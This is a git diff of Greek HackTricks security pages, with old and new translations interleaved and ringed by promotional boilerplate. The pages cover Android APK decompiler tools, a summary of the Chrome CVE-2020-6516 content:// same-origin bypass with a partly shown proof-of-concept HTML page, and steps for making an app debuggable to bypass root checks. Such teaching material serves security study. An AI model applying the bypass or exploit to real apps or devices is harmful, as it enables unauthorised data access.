Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή τη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,56 +1,89 @@
# Αποσυναρμολογητές APK
# APK decompilers
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Συμμετάσχετε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
**Για περισσότερες λεπτομέρειες για κάθε εργαλείο, ελέγξτε την αρχική ανάρτηση από το [https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr](https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr)**
**Για περισσότερες λεπτομέρειες σχετικά με κάθε εργαλείο, ελέγξτε την αρχική ανάρτηση από [https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr](https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr)**
### [JD-Gui](https://github.com/java-decompiler/jd-gui)
Ως ο πρωτοπόρος γραφικός αποσυναρμολογητής Java, το **JD-Gui** σας επιτρέπει να εξετάσετε τον κώδικα Java μέσα σε αρχεία APK. Είναι εύκολο στη χρήση. Αφού αποκτήσετε το APK, απλά ανοίξτε το με το JD-Gui για να επιθεωρήσετε τον κώδικα.
Ως ο πρωτοπόρος GUI Java decompiler, **JD-Gui** σας επιτρέπει να ερευνήσετε τον κώδικα Java μέσα σε αρχεία APK. Είναι απλό στη χρήση; αφού αποκτήσετε το APK, απλώς ανοίξτε το με το JD-Gui για να επιθεωρήσετε τον κώδικα.
### [Jadx](https://github.com/skylot/jadx)
Το **Jadx** προσφέρει μια φιλική προς τον χρήστη διεπαφή για την αποσυναρμολόγηση του κώδικα Java από εφαρμογές Android. Συνιστάται για την ευκολία χρήσης του σε διάφορες πλατφόρμες.
**Jadx** προσφέρει μια φιλική προς το χρήστη διεπαφή για την αποσυμπίεση του κώδικα Java από εφαρμογές Android. Συνιστάται για την ευκολία χρήσης του σε διάφορες πλατφόρμες.
- Για να ξεκινήσετε το γραφικό περιβάλλον, πλοηγηθείτε στον κατάλογο bin και εκτελέστε: `jadx-gui`
- Για χρήση από τη γραμμή εντολών, αποσυναρμολογήστε ένα APK με: `jadx app.apk`
- Για να καθορίσετε έναν κατάλογο εξόδου ή να προσαρμόσετε τις επιλογές αποσυναρμολόγησης: `jadx app.apk -d <διαδρομή προς κατάλογο εξόδου> --no-res --no-src --no-imports`
- Για να εκκινήσετε το GUI, πλοηγηθείτε στον φάκελο bin και εκτελέστε: `jadx-gui`
- Για χρήση από τη γραμμή εντολών, αποσυμπιέστε ένα APK με: `jadx app.apk`
- Για να καθορίσετε έναν φάκελο εξόδου ή να προσαρμόσετε τις επιλογές αποσυμπίεσης: `jadx app.apk -d <path to output dir> --no-res --no-src --no-imports`
### [GDA-android-reversing-Tool](https://github.com/charles2gan/GDA-android-reversing-Tool)
Το **GDA**, ένα εργαλείο μόνο για τα Windows, προσφέρει εκτεταμένες δυνατότητες για την ανάπτυξη αντίστροφου μηχανισμού εφαρμογών Android. Εγκαταστήστε και εκτελέστε το GDA στο σύστημά σας με Windows, και στη συνέχεια φορτώστε το αρχείο APK για ανάλυση.
**GDA**, ένα εργαλείο μόνο για Windows, προσφέρει εκτενή χαρακτηριστικά για την αντίστροφη μηχανική εφαρμογών Android. Εγκαταστήστε και εκτελέστε το GDA στο σύστημα Windows σας, στη συνέχεια φορτώστε το αρχείο APK για ανάλυση.
### [Bytecode-Viewer](https://github.com/Konloch/bytecode-viewer/releases)
Με τον **Bytecode-Viewer**, μπορείτε να αναλύσετε αρχεία APK χρησιμοποιώντας πολλούς αποσυναρμολογητές. Αφού το κατεβάσετε, εκτελέστε το Bytecode-Viewer, φορτώστε το APK σας και επιλέξτε τους αποσυναρμολογητές που θέλετε να χρησιμοποιήσετε για την ταυτόχρονη ανάλυση.
Με το **Bytecode-Viewer**, μπορείτε να αναλύσετε αρχεία APK χρησιμοποιώντας πολλαπλούς αποσυμπιεστές. Αφού το κατεβάσετε, εκτελέστε το Bytecode-Viewer, φορτώστε το APK σας και επιλέξτε τους αποσυμπιεστές που επιθυμείτε να χρησιμοποιήσετε για ταυτόχρονη ανάλυση.
### [Enjarify](https://github.com/Storyyeller/enjarify)
Το **Enjarify** μεταφράζει τον κώδικα Dalvik σε κώδικα Java, επιτρέποντας στα εργαλεία ανάλυσης Java να αναλύουν εφαρμογές Android με μεγαλύτερη αποτελεσματικότητα.
**Enjarify** μεταφράζει τον Dalvik bytecode σε Java bytecode, επιτρέποντας στα εργαλεία ανάλυσης Java να αναλύουν τις εφαρμογές Android πιο αποτελεσματικά.
- Για να χρησιμοποιήσετε το Enjarify, εκτελέστε: `enjarify app.apk`
Αυτό δημιουργεί τον ισοδύναμο κώδικα Java bytecode του παρεχόμενου APK.
Αυτό δημιουργεί τον ισοδύναμο Java bytecode του παρεχόμενου APK.
### [CFR](https://github.com/leibnitz27/cfr)
Το **CFR** είναι ικανό να αποσυναρμολογήσει σύγχρονα χαρακτηριστικά της Java. Χρησιμοποιήστε το ως εξής:
**CFR** είναι ικανό να αποσυμπιέσει σύγχρονες δυνατότητες Java. Χρησιμοποιήστε το ως εξής:
- Για τυπική αποσυναρμολόγηση: `java -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
- Για μεγάλα αρχεία JAR, προσαρμόστε την εκχώρηση μνήμης του JVM: `java -Xmx4G -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
- Για τυπική αποσυμπίεση: `java -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
- Για μεγάλα αρχεία JAR, προσαρμόστε την κατανομή μνήμης JVM: `java -Xmx4G -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
### [Fernflower](https://github.com/JetBrains/intellij-community/tree/master/plugins/java-decompiler/engine)
Ο **Fernflower**, ένας αναλυτικός αποσυναρμολογητής, απαιτεί την κατασκ
**Fernflower**, ένας αναλυτικός αποσυμπιεστής, απαιτεί κατασκευή από πηγή. Αφού κατασκευάσετε:
- Αποσυμπιέστε ένα αρχείο JAR: `java -jar ./fernflower.jar "app.jar" "output_directory"`
Στη συνέχεια, εξαγάγετε τα αρχεία `.java` από το παραγόμενο JAR χρησιμοποιώντας `unzip`.
### [Krakatau](https://github.com/Storyyeller/Krakatau)
**Krakatau** προσφέρει λεπτομερή έλεγχο της αποσυμπίεσης, ειδικά για την επεξεργασία εξωτερικών βιβλιοθηκών.
- Χρησιμοποιήστε το Krakatau καθορίζοντας τη διαδρομή της τυπικής βιβλιοθήκης και το αρχείο JAR προς αποσυμπίεση: `./Krakatau/decompile.py -out "output_directory" -skip -nauto -path "./jrt-extractor/rt.jar" "app.jar"`
### [procyon](https://github.com/mstrobel/procyon)
Για απλή αποσυμπίεση με το **procyon**:
- Αποσυμπιέστε ένα αρχείο JAR σε έναν καθορισμένο φάκελο: `procyon -jar "app.jar" -o "output_directory"`
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,41 +1,39 @@
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν έως τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
**Αυτό είναι ένα σύνοψη της δημοσίευσης [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
**Αυτή είναι μια περίληψη της ανάρτησης [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
### Λίστα Αρχείων στο Media Store
Για να εμφανιστούν οι λίστες αρχείων που διαχειρίζεται το Media Store, μπορεί να χρησιμοποιηθεί η παρακάτω εντολή:
### Καταγραφή Αρχείων στο Media Store
Για να καταγράψετε αρχεία που διαχειρίζεται το Media Store, μπορεί να χρησιμοποιηθεί η παρακάτω εντολή:
```bash
$ content query --uri content://media/external/file
```
Για μια πιο φιλική προς τον χρήστη έξοδο, εμφανίστε μόνο τον αναγνωριστικό και τη διαδρομή κάθε ευρετηριασμένου αρχείου:
Για μια πιο φιλική προς τον άνθρωπο έξοδο, εμφανίζοντας μόνο τον αναγνωριστικό και τη διαδρομή κάθε ευρετηριασμένου αρχείου:
```bash
$ content query --uri content://media/external/file --projection _id,_data
```
### Πάροχοι περιεχομένου
Οι παροχείς περιεχομένου είναι απομονωμένοι στον δικό τους ιδιωτικό χώρο ονομάτων. Η πρόσβαση σε έναν παροχέα απαιτεί το συγκεκριμένο `content://` URI. Πληροφορίες σχετικά με τις διαδρομές πρόσβασης σε έναν παροχέα μπορούν να αποκτηθούν από τα μανιφέστα εφαρμογών ή τον πηγαίο κώδικα του Android framework.
Οι πάροχοι περιεχομένου είναι απομονωμένοι στο δικό τους ιδιωτικό χώρο ονομάτων. Η πρόσβαση σε έναν πάροχο απαιτεί το συγκεκριμένο `content://` URI. Πληροφορίες σχετικά με τα μονοπάτια για την πρόσβαση σε έναν πάροχο μπορούν να ανακτηθούν από τα αρχεία μεταδεδομένων της εφαρμογής ή τον πηγαίο κώδικα του πλαισίου Android.
### Η Πρόσβαση του Chrome στους Παροχείς Περιεχομένου
Ο Chrome στο Android μπορεί να έχει πρόσβαση στους παροχείς περιεχομένου μέσω του σχήματος `content://`, επιτρέποντάς του να έχει πρόσβαση σε πόρους όπως φωτογραφίες ή έγγραφα που έχουν εξαχθεί από τρίτες εφαρμογές. Για να το εικονογραφήσουμε αυτό, ένα αρχείο μπορεί να εισαχθεί στο Media Store και στη συνέχεια να προσπελαστεί μέσω του Chrome:
### Πρόσβαση του Chrome σε Πάροχους Περιεχομένου
Ο Chrome στο Android μπορεί να έχει πρόσβαση σε πάροχους περιεχομένου μέσω του σχήματος `content://`, επιτρέποντάς του να έχει πρόσβαση σε πόρους όπως φωτογραφίες ή έγγραφα που εξάγονται από εφαρμογές τρίτων. Για να το επιδείξουμε αυτό, ένα αρχείο μπορεί να εισαχθεί στο Media Store και στη συνέχεια να έχει πρόσβαση μέσω του Chrome:
Εισαγωγή μιας προσαρμοσμένης καταχώρισης στο Media Store:
Εισάγετε μια προσαρμοσμένη καταχώρηση στο Media Store:
```bash
cd /sdcard
echo "Hello, world!" > test.txt
@ -49,21 +47,21 @@ content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
```
Το αρχείο μπορεί στη συνέχεια να προβληθεί στο Chrome χρησιμοποιώντας ένα URL που κατασκευάζεται με τον αναγνωριστή του αρχείου.
Το αρχείο μπορεί στη συνέχεια να προβληθεί στο Chrome χρησιμοποιώντας μια διεύθυνση URL που κατασκευάζεται με τον αναγνωριστικό του αρχείου.
Για παράδειγμα, για να εμφανιστούν οι φάκελοι που σχετίζονται με μια συγκεκριμένη εφαρμογή:
Για παράδειγμα, για να καταγράψετε αρχεία που σχετίζονται με μια συγκεκριμένη εφαρμογή:
```bash
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
```
### Chrome CVE-2020-6516: Διασπορά της Πολιτικής Ίδιας Προέλευσης
### Chrome CVE-2020-6516: Same-Origin-Policy Bypass
Η _Ίδια Προέλευση Πολιτική_ (SOP) είναι ένα πρωτόκολλο ασφαλείας στους περιηγητές που περιορίζει τις ιστοσελίδες από το να αλληλεπιδρούν με πόρους από διαφορετικές προελεύσεις εκτός αν επιτρέπεται ρητά από μια πολιτική Cross-Origin-Resource-Sharing (CORS). Αυτή η πολιτική στοχεύει στο να αποτρέψει διαρροές πληροφοριών και απάτες αιτημάτων από διαφορετικές ιστοσελίδες. Το Chrome θεωρεί το `content://` ως τοπικό σχήμα, υπονοώντας αυστηρότερους κανόνες SOP, όπου κάθε URL με τοπικό σχήμα θεωρείται ως ξεχωριστή προέλευση.
Η _Πολιτική Ίδιων Προελεύσεων_ (SOP) είναι ένα πρωτόκολλο ασφαλείας στους περιηγητές που περιορίζει τις ιστοσελίδες από το να αλληλεπιδρούν με πόρους από διαφορετικές προελεύσεις, εκτός αν επιτρέπεται ρητά από μια πολιτική Διαμοιρασμού Πόρων Διαφορετικών Προελεύσεων (CORS). Αυτή η πολιτική στοχεύει στην πρόληψη διαρροών πληροφοριών και επιθέσεων Cross-Site Request Forgery. Ο Chrome θεωρεί το `content://` ως τοπικό σχήμα, υπονοώντας αυστηρότερους κανόνες SOP, όπου κάθε τοπικό σχήμα URL αντιμετωπίζεται ως ξεχωριστή προέλευση.
Ωστόσο, το CVE-2020-6516 ήταν μια ευπάθεια στο Chrome που επέτρεπε τη διάβρωση των κανόνων SOP για πόρους που φορτώνονταν μέσω ενός URL `content://`. Στην πράξη, κώδικας JavaScript από ένα URL `content://` μπορούσε να έχει πρόσβαση σε άλλους πόρους που φορτώνονταν μέσω URL `content://`, που αποτελούσε σημαντική ανησυχία για την ασφάλεια, ειδικά σε συσκευές Android που εκτελούν εκδόσεις πριν το Android 10, όπου δεν είχε εφαρμοστεί η scoped αποθήκευση.
Ωστόσο, το CVE-2020-6516 ήταν μια ευπάθεια στον Chrome που επέτρεπε την παράκαμψη των κανόνων SOP για πόρους που φορτώνονταν μέσω ενός URL `content://`. Στην ουσία, ο κώδικας JavaScript από ένα URL `content://` μπορούσε να έχει πρόσβαση σε άλλους πόρους που φορτώνονταν μέσω URL `content://`, γεγονός που ήταν σημαντική ανησυχία ασφαλείας, ειδικά σε συσκευές Android που εκτελούσαν εκδόσεις πριν από το Android 10, όπου δεν είχε εφαρμοστεί η περιορισμένη αποθήκευση.
Το παράδειγμα που ακολουθεί δείχνει αυτήν την ευπάθεια, όπου ένα έγγραφο HTML, μετά το ανέβασμα του στο **/sdcard** και την προσθήκη του στο Media Store, χρησιμοποιεί το `XMLHttpRequest` στο JavaScript του για να έχει πρόσβαση και να εμφανίσει τα περιεχόμενα ενός άλλου αρχείου στο Media Store, παρακάμπτοντας τους κανόνες SOP.
Η απόδειξη της έννοιας παρακάτω δείχνει αυτή την ευπάθεια, όπου ένα έγγραφο HTML, αφού ανέβει κάτω από **/sdcard** και προστεθεί στο Media Store, χρησιμοποιεί το `XMLHttpRequest` στον JavaScript του για να έχει πρόσβαση και να εμφανίσει τα περιεχόμενα ενός άλλου αρχείου στο Media Store, παρακάμπτοντας τους κανόνες SOP.
Παράδειγμα HTML για την επίδειξη:
Proof-of-Concept HTML:
```xml
<html>
<head>
@ -96,16 +94,17 @@ xhr.send();
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,49 +1,110 @@
# Εκμεταλλευόμενος μια εφαρμογή που μπορεί να αποσφαλματώθει
# Εκμετάλλευση μιας εφαρμογής που μπορεί να αποσφαλματωθεί
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Συμμετάσχετε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# **Παράκαμψη ελέγχων ρίζας και αποσφαλματώσιμης εφαρμογής**
# **Παράκαμψη ελέγχων root και αποσφαλμάτωσης**
Αυτή η ενότητα του άρθρου είναι ένα περίληψη από το άρθρο [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
Αυτή η ενότητα της ανάρτησης είναι μια σύνοψη από την ανάρτηση [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
## Βήματα για να κατασκευάσετε μια αποσφαλματώσιμη εφαρμογή Android και να παρακάμψετε τους ελέγχους
## Βήματα για να κάνετε μια εφαρμογή Android αποσφαλματωμένη και να παρακάμψετε ελέγχους
### **Κατασκευή της αποσφαλματώσιμης εφαρμογής**
### **Κάνοντάς την Εφαρμογή Αποσφαλματωμένη**
Περιεχόμενο βασισμένο στο https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0
1. **Αποσυνταγοποίηση του APK:**
- Χρησιμοποιήστε το εργαλείο APK-GUI για την αποσυνταγοποίηση του APK.
- Στο αρχείο _android-manifest_, εισαγάγετε `android:debuggable=true` για να ενεργοποιήσετε τη λειτουργία αποσφαλμάτωσης.
- Επανασυντάξτε, υπογράψτε και συμπιέστε την τροποποιημένη εφαρμογή.
1. **Αποσυμπιέστε το APK:**
- Χρησιμοποιήστε το εργαλείο APK-GUI για την αποσυμπίεση του APK.
- Στο αρχείο _android-manifest_, εισάγετε `android:debuggable=true` για να ενεργοποιήσετε τη λειτουργία αποσφαλμάτωσης.
- Επανασυμπιέστε, υπογράψτε και zipalign την τροποποιημένη εφαρμογή.
2. **Εγκατάσταση της τροποποιημένης εφαρμογής:**
- Χρησιμοποιήστε την εντολή: `adb install <όνομα_εφαρμογής>`.
